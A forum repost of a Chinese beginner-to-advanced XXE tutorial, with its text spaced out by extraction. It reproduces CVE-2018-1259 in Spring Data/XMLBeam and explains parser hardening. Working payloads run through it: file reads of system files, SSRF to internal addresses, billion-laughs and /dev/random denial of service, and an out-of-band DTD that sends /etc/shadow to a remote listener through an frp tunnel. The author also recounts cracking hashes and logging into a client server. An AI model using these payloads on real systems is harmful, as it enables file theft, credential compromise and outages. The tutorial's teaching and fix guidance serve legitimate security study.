搜索

[13693] 2019-01-25_XXE萌新进阶全攻略

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2019-01-25_XXE萌新进阶全攻略 X X E 萌 新 进 阶 全 攻 略 r a b b i t m a s k   F r e e B u f   2 0 1 9 - 0 1 - 2 5 首 先 声 明 下 本 文 为 萌 新 向 ， 旨 在 让 刚 接 触 首 先 声 明 下 本 文 为 萌 新 向 ， 旨 在 让 刚 接 触 X X E 基 本 概 念 的 小 伙 伴 们 可 以 熟 练 运 用 高 阶 的 基 本 概 念 的 小 伙 伴 们 可 以 熟 练 运 用 高 阶 的 X X E 攻 击 。 本 文 涉 及 层 攻 击 。 本 文 涉 及 层 面 包 括 概 念 讲 解 、 代 码 审 计 、 漏 洞 复 现 、 漏 洞 利 用 、 工 具 使 用 、 安 全 开 发 ， 无 论 你 是 开 发 人 员 还 是 渗 透 工 程 面 包 括 概 念 讲 解 、 代 码 审 计 、 漏 洞 复 现 、 漏 洞 利 用 、 工 具 使 用 、 安 全 开 发 ， 无 论 你 是 开 发 人 员 还 是 渗 透 工 程 师 ， 都 可 以 在 这 里 拿 到 你 想 要 的 。 师 ， 都 可 以 在 这 里 拿 到 你 想 要 的 。 在 渗 透 领 域 、 X X E 相 对 来 讲 入 门 门 槛 是 偏 高 的 ， 网 上 的 各 类 X X E 教 程 对 于 大 牛 还 好 ， 但 对 于 一 些 零 开 发 基 础 的 小 伙 伴 来 讲 ， 着 实 不 太 友 好 ， 所 以 我 希 望 通 过 从 最 基 础 的 理 论 着 手 ， 为 大 家 建 立 一 个 健 全 易 懂 的 X X E 漏 洞 复 现 ， 结 合 代 码 审 计 ， 更 好 的 帮 助 大 家 更 好 的 攻 克 这 个 点 。 代 码 审 计 涉 及 漏 洞 ： X M L   E n t i t y   E x p a n s i o n   I n j e c t i o n   ( X M L 实 体 扩 展 注 入 ) X M L   E x t e r n a l   E n t i t y   I n j e c t i o n   ( X M L 外 部 实 体 注 入 ) 基 本 概 念 基 本 概 念 在 展 开 讲 X X E 之 前 ， 我 们 必 须 得 了 解 些 基 础 概 念 ， 因 为 本 文 重 点 为 X X E ， 关 于 X M L 学 习 未 提 到 的 部 分 大 家 可 以 参 照 参 考 资 料 自 我 拓 展 。 X M L X M L   指 可 扩 展 标 记 语 言 （ e X t e n s i b l e   M a r k u p   L a n g u a g e ） 。 方 便 大 家 理 解 ， 这 里 与 H T M L 对 比 着 给 大 家 说 一 下 ： H T M L 和 X M L   为 不 同 的 目 的 而 设 计 ， H T M L   被 设 计 用 来 显 示 数 据 ， 其 焦 点 是 数 据 的 外 观 。 X M L   被 设 计 用 来 传 输 和 存 储 数 据 ， 其 焦 点 是 数 据 的 内 容 。 H T M L   旨 在 显 示 信 息 ， 而 X M L   旨 在 传 输 信 息 。 D T D D T D （ 文 档 类 型 定 义 ） 的 作 用 是 定 义   X M L   文 档 的 合 法 构 建 模 块 。 D T D 的 声 明 ： 指 X M L 文 档 中 声 明 该 文 档 的 D T D 或 D T D 来 源 的 部 分 ， 可 以 包 含 在 使 用 它 的 X M L 文 档 内 部 ， 也 可 以 以 独 立 的 D T D 文 档 （ * . d t d ） 文 档 存 在 。 所 以 D T D 一 般 认 为 有 两 种 引 用 或 声 明 方 式 ： 1 、 内 部 D T D ： 即 对 X M L 文 档 中 的 元 素 、 属 性 和 实 体 的 D T D 的 声 明 都 在 X M L 文 档 中 。 2 、 外 部 D T D ： 即 对 X M L 文 档 中 的 元 素 、 属 性 和 实 体 的 D T D 的 声 明 都 在 一 个 独 立 的 D T D 文 件 （ . d t d ） 中 。 （ 网 上 有 提 到 的 引 用 公 共 D T D 其 实 也 算 外 部 引 用 D T D 的 一 种 ） X M L 基 本 文 档 结 构 基 本 文 档 结 构 < ! - - X M L 声 明 - - > < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! - - D T D ， 这 部 分 可 选 的 - - >                     < ! D O C T Y P E   f o o   [   < ! E L E M E N T   f o o   A N Y   > < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / c : / w i n d o w s / w i n . i n i "   > ] > < ! - - 文 档 元 素 - - >                                                                                                                                                     < f o o > & x x e ; < / f o o >
X X E 的 复 现 的 复 现 说 起 最 近 比 较 火 的 X X E ， 不 得 不 提 2 0 1 8 年 出 现 的 s p r i n g 中 出 现 的 X X E 漏 洞 【 C V E - 2 0 1 8 - 1 2 5 9 】 ， 今 天 就 拿 它 来 开 刀 吧 。 S p r i n g   D a t a   C o m m o n s ,   v e r s i o n s   1 . 1 3   p r i o r   t o   1 . 1 3 . 1 2   a n d   2 . 0   p r i o r   t o   2 . 0 . 7 ,   u s e d   i n   c o m b i n a t i o n   w i t h X M L B e a m   1 . 4 . 1 4   o r   e a r l i e r   v e r s i o n s ,   c o n t a i n s   a   p r o p e r t y   b i n d e r   v u l n e r a b i l i t y   c a u s e d   b y   i m p r o p e r   r e s t r i c t i o n   o f X M L   e x t e r n a l   e n t i t y   r e f e r e n c e s   a s   u n d e r l y i n g   l i b r a r y   X M L B e a m   d o e s   n o t   r e s t r i c t   e x t e r n a l   r e f e r e n c e e x p a n s i o n .   A n   u n a u t h e n t i c a t e d   r e m o t e   m a l i c i o u s   u s e r   c a n   s u p p l y   s p e c i a l l y   c r a f t e d   r e q u e s t   p a r a m e t e r s   a g a i n s t S p r i n g   D a t a ’ s   p r o j e c t i o n - b a s e d   r e q u e s t   p a y l o a d   b i n d i n g   t o   a c c e s s   a r b i t r a r y   f i l e s   o n   t h e   s y s t e m . 从 官 方 的 描 述 中 我 们 可 以 看 到 ， 此 漏 洞 主 要 出 现 在 X M L b e a m 1 . 4 . 1 4 之 前 的 版 本 ， 同 时 要 求 S p r i n g   D a t a   C o m m o n s   1 . 1 3 至 1 . 1 3 . 1 1 以 及 2 . 0 至 2 . 0 . 6 的 版 本 ， 目 前 i d e a 默 认 选 择 的 s p r i n g   b o o t 2 . 1 . 1 版 本 漏 洞 已 修 复 ， 我 们 可 以 看 到 默 认 的 S p r i n g D a t a   C o m m o n s 版 本 为 2 . 1 . 0 以 上 。 s p r i n g   b o o t 默 认 库 s p r i n g   b o o t   2 . 1 . 1 数 据 包 报 错
s p r i n g   b o o t   2 . 1 . 1 调 试 报 错 显 然 ， 这 是 因 为 s p r i n g   b o o t   2 . 1 . 1 默 认 禁 用 了 D T D 。 我 们 尝 试 降 低 s p r i n g - d a t a - c o m m o n s 版 本 ， 以 便 漏 洞 正 常 复 现 ， 直 接 修 改 p o m 文 件 ， 借 助 m a v e n 自 动 解 决 依 赖 问 题 。 配 置 p o m 文 件 在 这 里 说 点 经 验 之 谈 ， 我 对 不 同 版 本 进 行 了 尝 试 ， 不 知 道 是 不 是 个 人 原 因 ， 我 发 现 版 本 并 没 有 按 照 官 方 提 到 的 那 样 精 确 ， 比 如 这 里 如 果 s p r i n g - d a t a - c o m m o n s 采 用 2 . 0 . 6 版 本 ，   X M L B e a m 采 用 1 . 4 . 1 3 版 本 ， 你 会 发 现 D T D 依 然 是 被 禁 止 的 。 所 以 本 次 漏 洞 复 现 我 选 择 了 s p r i n g - d a t a - c o m m o n s 2 . 0 . 6 +   X M L B e a m 1 . 4 . 1 4 的 组 合 。 然 后 我 们 在 s p r i n g b o o t 中 简 单 的 写 个 小 功 能 ， 操 作 过 程 打 算 使 用 b u r p s u i t e 复 现 ， 那 就 不 写 前 端 页 面 啦 ~ 核 心 代 码 如 下 ， 用 来 接 收 通 过 X M L 提 交 的 两 个 数 据 ： f i r s t n a m e / l a s t n a m e s p r i n g b o o t 不 愧 为 新 一 代 的 懒 人 框 架 ， 简 单 的 调 整 下 入 口 文 件 ， 小 程 序 完 美 启 动 ~ 完 美 启 动 p u b l i c   i n t e r f a c e   U s e r P a y l o a d   {                 @ X B R e a d ( " / / f i r s t n a m e " )                 @ J s o n P a t h ( " $ . . f i r s t n a m e " )                 S t r i n g   g e t F i r s t n a m e ( ) ;                 @ X B R e a d ( " / / l a s t n a m e " )                 @ J s o n P a t h ( " $ . . l a s t n a m e " )                 S t r i n g   g e t L a s t n a m e ( ) ;         }
我 们 先 来 构 造 一 个 正 常 的 X M L 文 档 ~ 程 序 正 常 ， o v e r 然 后 我 们 来 构 造 一 个 引 用 特 殊 的 p a y l o a d ， 增 加 D T D ， 为 了 演 示 效 果 ， 我 们 在 C 盘 下 新 建 一 个 t x t 文 件 。 实 现 访 问 资 源 试 着 来 访 问 下 系 统 文 件 ： < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < u s e r > < f i r s t n a m e > r a b b i t < / f i r s t n a m e > < l a s t n a m e > 6 6 6 < / l a s t n a m e > < / u s e r > < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? >                 < ! D O C T Y P E   f o o   [   < ! E L E M E N T   f o o   A N Y   > < ! E N T I T Y   r a b b i t   S Y S T E M   " f i l e : / / / c : / 1 . t x t "   > ] > < u s e r > < f i r s t n a m e > & r a b b i t ; < / f i r s t n a m e > < l a s t n a m e > 6 6 6 < / l a s t n a m e > < / u s e r > < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? >                 < ! D O C T Y P E   f o o   [   < ! E L E M E N T   f o o   A N Y   > < ! E N T I T Y   r a b b i t   S Y S T E M   " f i l e : / / / c : / w i n d o w s / w i n . i n i "   > ] > < u s e r > < f i r s t n a m e > & r a b b i t ; < / f i r s t n a m e > < l a s t n a m e > 6 6 6 < / l a s t n a m e > < / u s e r >
访 问 系 统 文 件 X X E 的 利 用 的 利 用 这 时 候 ， 我 们 不 禁 要 问 了 ， X X E 漏 洞 究 竟 能 用 来 做 什 么 ？ 任 意 文 件 读 取 任 意 文 件 读 取 这 里 ， 我 们 就 不 重 复 了 ， 说 到 底 ， 这 是 X X E 最 基 本 的 使 用 方 式 ， 我 们 上 面 也 一 直 体 现 了 这 一 点 。 S S R F S S R F ( S e r v e r - S i d e   R e q u e s t   F o r g e r y : 服 务 器 端 请 求 伪 造 ) ， 说 白 了 就 是 借 助 漏 洞 实 现 内 网 探 测 ， 我 在 8 0 端 口 的 网 站 下 临 时 放 了 我 们 刚 刚 的 测 试 文 件 ， 简 单 修 改 下 p a y l o a d ： 当 然 啦 ， 这 里 的 1 2 7 . 0 . 0 . 1 可 以 替 换 成 任 意 你 想 要 的 内 网 地 址 ， 我 们 就 可 以 借 此 实 现 对 内 网 的 探 测 。 S S R F D O S 攻 击 攻 击 看 到 这 里 会 不 会 虎 躯 一 震 ， 这 丫 怎 么 会 ？ 继 续 看 此 测 试 可 以 在 内 存 中 将 小 型   X M L   文 档 扩 展 到 超 过   3 G B   而 使 服 务 器 崩 溃 。 亦 或 者 ， 如 果 目 标 是 U N I X 系 统 ， 如 果   X M L   解 析 器 尝 试 使 用   / d e v / r a n d o m   文 件 中 的 内 容 来 替 代 实 体 ， 则 此 示 例 会 使 服 务 器 （ 使 用   U N I X   系 统 ） 崩 溃 。 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? >                 < ! D O C T Y P E   f o o   [   < ! E L E M E N T   f o o   A N Y   > < ! E N T I T Y   r a b b i t   S Y S T E M   " h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . t x t "   > ] > < u s e r > < f i r s t n a m e > & r a b b i t ; < / f i r s t n a m e > < l a s t n a m e > 6 6 6 < / l a s t n a m e > < / u s e r > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   l o l z   [     < ! E N T I T Y   l o l   " l o l " >     < ! E N T I T Y   l o l 2   " & l o l ; & l o l ; & l o l ; & l o l ; & l o l ; & l o l ; & l o l ; & l o l ; & l o l ; & l o l ; " >     < ! E N T I T Y   l o l 3   " & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; " >     < ! E N T I T Y   l o l 4   " & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; " >     < ! E N T I T Y   l o l 5   " & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; " >     < ! E N T I T Y   l o l 6   " & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; " >     < ! E N T I T Y   l o l 7   " & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; " >     < ! E N T I T Y   l o l 8   " & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; " >     < ! E N T I T Y   l o l 9   " & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; " > ] > < l o l z > & l o l 9 ; < / l o l z > < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " I S O - 8 8 5 9 - 1 " ? > < ! D O C T Y P E   f o o   [       < ! E L E M E N T   f o o   A N Y   >     < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / d e v / r a n d o m "   > ] > < f o o > & x x e ; < / f o o >
远 程 命 令 执 行 远 程 命 令 执 行 这 种 情 况 很 少 见 ， 并 不 是 传 统 意 义 上 的 任 意 命 令 执 行 ， 只 是 因 为 环 境 的 特 殊 配 置 ， 导 致 X M L 与 某 些 命 令 操 作 关 联 ， 进 而 造 成 了 命 令 执 行 。 当 P H P 环 境 中 的 P H P   e x p e c t 模 块 被 加 载 到 了 易 受 攻 击 的 系 统 或 处 理 X M L 的 内 部 应 用 程 序 上 ， 就 会 造 成 我 们 说 的 这 种 情 况 ， 在 这 里 ， 我 们 不 做 展 开 讲 解 。 修 复 建 议 修 复 建 议 对   X M L   解 析 器 进 行 安 全 配 置 ， 使 它 不 允 许 将 外 部 实 体 包 含 在 传 入 的   X M L   文 档 中 。 不 管 是 上 面 语 言 ， 抑 或 是 使 用 了 市 面 是 哪 种 主 流 X M L 解 析 方 案 ， 最 终 的 解 决 方 案 都 可 以 如 此 借 鉴 ： 为 了 避 免   X X E   i n j e c t i o n s ， 应 为   X M L   代 理 、 解 析 器 或 读 取 器 设 置 下 面 的 属 性 ： 如 果 不 需 要   i n l i n e   D O C T Y P E   声 明 ， 可 使 用 以 下 属 性 将 其 完 全 禁 用 ， 这 种 方 式 显 然 更 直 接 ， 我 们 搭 建 环 境 中 一 直 在 吐 槽 D T D 被 禁 用 ， 就 是 这 个 意 思 ， D O C T Y P E 被 禁 ， 也 就 禁 掉 了 D T D 的 根 本 ： 说 到 这 里 你 可 能 会 突 然 提 到 一 个 问 题 ， e m m m m ， 那 X M L b e a m 的 X X E 漏 洞 是 如 何 修 复 的 呢 ？ 我 给 大 家 找 到 了 X M L b e a m 1 . 4 . 1 4 和 1 . 4 . 1 5 中 的 c r e a t e D o c u m e n t B u i l d e r F a c t o r y （ ） 函 数 方 便 大 家 做 下 对 比 ： f a c t o r y . s e t F e a t u r e ( " h t t p : / / x m l . o r g / s a x / f e a t u r e s / e x t e r n a l - g e n e r a l - e n t i t i e s " ,   f a l s e ) ; f a c t o r y . s e t F e a t u r e ( " h t t p : / / x m l . o r g / s a x / f e a t u r e s / e x t e r n a l - p a r a m e t e r - e n t i t i e s " ,   f a l s e ) ; f a c t o r y . s e t F e a t u r e ( " h t t p : / / a p a c h e . o r g / x m l / f e a t u r e s / d i s a l l o w - d o c t y p e - d e c l " ,   t r u e ) ;
配 置 文 件 路 径 后 者 设 置 了 新 的 方 法 用 于 禁 用 D T D 。 # # # # # 1 . 4 . 1 4         p u b l i c   D o c u m e n t B u i l d e r F a c t o r y   c r e a t e D o c u m e n t B u i l d e r F a c t o r y ( )   {                 D o c u m e n t B u i l d e r F a c t o r y   i n s t a n c e   =   D o c u m e n t B u i l d e r F a c t o r y . n e w I n s t a n c e ( ) ;                 i f   ( ! D e f a u l t X M L F a c t o r i e s C o n f i g . N a m e s p a c e P h i l o s o p h y . A G N O S T I C . e q u a l s ( t h i s . n a m e s p a c e P h i l o s o p h y ) )   {                         i n s t a n c e . s e t N a m e s p a c e A w a r e ( D e f a u l t X M L F a c t o r i e s C o n f i g . N a m e s p a c e P h i l o s o p h y . H E D O N I S T I C . e q u a l s ( t h i s . n a m e s p a c e P h i l o s o p h y ) ) ;                 }                 r e t u r n   i n s t a n c e ;         } # # # # # 1 . 4 . 1 5         p u b l i c   D o c u m e n t B u i l d e r F a c t o r y   c r e a t e D o c u m e n t B u i l d e r F a c t o r y ( )   {                 D o c u m e n t B u i l d e r F a c t o r y   i n s t a n c e   =   D o c u m e n t B u i l d e r F a c t o r y . n e w I n s t a n c e ( ) ;                 i n s t a n c e . s e t X I n c l u d e A w a r e ( t h i s . i s X I n c l u d e A w a r e ) ;                 i n s t a n c e . s e t E x p a n d E n t i t y R e f e r e n c e s ( t h i s . i s E x p a n d E n t i t y R e f e r e n c e s ) ;                 i f   ( ! D e f a u l t X M L F a c t o r i e s C o n f i g . N a m e s p a c e P h i l o s o p h y . A G N O S T I C . e q u a l s ( t h i s . n a m e s p a c e P h i l o s o p h y ) )   {                         i n s t a n c e . s e t N a m e s p a c e A w a r e ( D e f a u l t X M L F a c t o r i e s C o n f i g . N a m e s p a c e P h i l o s o p h y . H E D O N I S T I C . e q u a l s ( t h i s . n a m e s p a c e P h i l o s o p h y ) ) ;                 }                 r e t u r n   i n s t a n c e ;         }
我 们 顺 便 去 找 下 官 方 提 供 的 漏 洞 升 级 补 丁 ， 以 方 便 理 解 。 下 载 地 址 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 6 1 g W H g R 6 D c 7 A - e S W e 3 9 i k g 然 后 我 们 在 第 1 0 6 行 处 会 看 到 如 下 配 置 ， 正 是 我 们 刚 刚 提 到 的 解 决 方 案 。 X X E 进 阶 进 阶 我 们 通 过 之 前 的 讲 解 ， 大 家 可 以 稍 微 总 结 一 下 ， 要 想 实 现 X X E ， 基 本 上 要 具 备 两 个 条 件 ： 1 、 支 持 D T D ， 2 、 数 据 可 操 控 前 者 是 我 们 x x e 的 必 须 条 件 ， 暂 且 不 谈 ， 但 后 者 如 果 我 们 提 交 的 数 据 并 未 通 过 返 回 包 返 回 回 来 ， 我 们 也 就 看 不 到 了 。 对 于 这 种 数 据 无 回 显 的 情 况 ， 我 们 引 出 O O B 攻 击 的 概 念 ， 即 数 据 外 带 （ O u t   o f   B a n d ） 。 我 们 可 以 像 网 上 相 关 教 程 那 样 ， 通 过 自 己 写 一 个 页 面 用 来 接 受 目 标 服 务 器 传 回 的 内 容 ， 但 是 实 际 测 试 效 果 并 不 稳 定 ， 在 此 本 着 萌 新 向 、 能 懒 则 懒 的 正 统 思 想 给 大 家 安 利 一 个 开 源 工 具 ： x x e s e r v e h t t p s : / / g i t h u b . c o m / j o e r n c h e n / x x e s e r v e 刚 好 最 近 项 目 碰 上 个 非 常 好 的 实 例 ， 请 原 谅 我 打 了 厚 厚 的 马 赛 克 来 表 达 对 客 户 的 尊 重 。 下 图 是 一 个 网 站 的 登 录 窗 口 ， 随 便 尝 试 登 录 一 下 ， 发 现 用 户 名 密 码 采 用 x m l 的 格 式 进 行 上 传 。 我 们 对 登 陆 功 能 进 行 测 试 ， 尝 试 了 下 D T D ， 发 现 没 有 被 禁 掉 ！ 行 动 ！ 今 日 d e m o 我 们 使 用 正 常 逻 辑 进 行 尝 试 ！ 发 现 返 回 包 并 没 有 存 在 可 供 我 们 操 纵 的 任 何 数 据 。         p r i v a t e   s t a t i c   f i n a l   S t r i n g   N O N _ E X I S T I N G _ U R L   =   " h t t p : / / x m l b e a m . o r g / n o n e x i s t i n g _ n a m e s p a c e " ;         p r i v a t e   s t a t i c   f i n a l   S t r i n g [ ]   F E A T U R E _ D E F A U L T S   =   n e w   S t r i n g [ ]   {   " h t t p : / / a p a c h e . o r g / x m l / f e a t u r e s / d i s a l l o w - d o c t y p e - d e c l # t r u e " ,   / /                         " h t t p : / / x m l . o r g / s a x / f e a t u r e s / e x t e r n a l - g e n e r a l - e n t i t i e s # f a l s e " ,   / /                         " h t t p : / / x m l . o r g / s a x / f e a t u r e s / e x t e r n a l - p a r a m e t e r - e n t i t i e s # f a l s e " ,   / /                         " h t t p : / / a p a c h e . o r g / x m l / f e a t u r e s / n o n v a l i d a t i n g / l o a d - e x t e r n a l - d t d # f a l s e "   } ;
正 常 逻 辑 那 么 ， 这 里 我 们 的 想 法 就 是 ： 服 务 器 既 然 无 法 给 我 们 回 显 数 据 ， 我 们 能 不 能 尝 试 将 已 构 造 好 的 参 数 ， 通 过 例 如 H T T P 的 方 式 返 回 到 我 们 看 得 到 的 地 方 ？ 于 是 ， 开 始 我 们 的 O O B 攻 击 ！ x x e s e r v e 是 基 于 r u b y 开 发 的 ， 如 果 懒 于 自 己 搭 建 r u b y   r u n i n g t i m e ， 那 就 丢 了 p a r r o t s e c   /   k a l i 上 吧 。 这 里 还 有 一 个 问 题 ， 就 是 我 们 的 P C 处 于 内 网 环 境 ， 如 何 正 常 接 受 返 回 的 数 据 呢 ？ f r p 反 向 代 理 完 美 解 决 了 我 们 的 顾 虑 。 运 行 x x e s e r v e ， 在 指 定 端 口 进 行 监 听 ： x x e s e r v e 发 送 构 造 好 的 p a y l o a d ， 虽 然 发 现 x m l 解 析 错 误 的 提 示 ： # f r p c . i n i [ x x e ] t y p e   =   t c p l o c a l _ i p   =   1 2 7 . 0 . 0 . 1 l o c a l _ p o r t   =   2 3 3 3 r e m o t e _ p o r t   =   2 3 3 3 # D T D < ! D O C T Y P E   r o o t   [ < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / * . * . * . * : 2 3 3 3 / x m l ? f = / e t c / s h a d o w " > % r e m o t e ; % i n t ; % t r i c k ; ] >
发 送 p a y l o a d 但 是 ， x x e s e r v e 却 成 功 监 听 到 了 我 们 想 要 读 取 的 文 件 ， 如 图 中 的 用 户 h a s h ： x x e s e r v e 监 听 如 果 你 要 问 这 个 漏 洞 有 多 么 可 怕 。 e m m m m m ， 我 们 只 是 看 到 一 个 网 站 的 登 录 界 面 ， 然 后 在 其 它 什 么 也 不 知 道 的 情 况 下 ， 可 以 直 接 任 意 读 取 该 服 务 器 上 文 件 ， 如 p a s s w d 、 s h a d o w 等 。 当 然 ， 此 次 项 目 中 我 们 直 接 读 取 到 用 户 h a s h 并 成 功 解 密 ， 直 接 登 录 了 该 服 务 器 ， 可 谓 顺 利 。 * 本 文 作 者 ： r a b b i t m a s k ， 本 文 属   F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理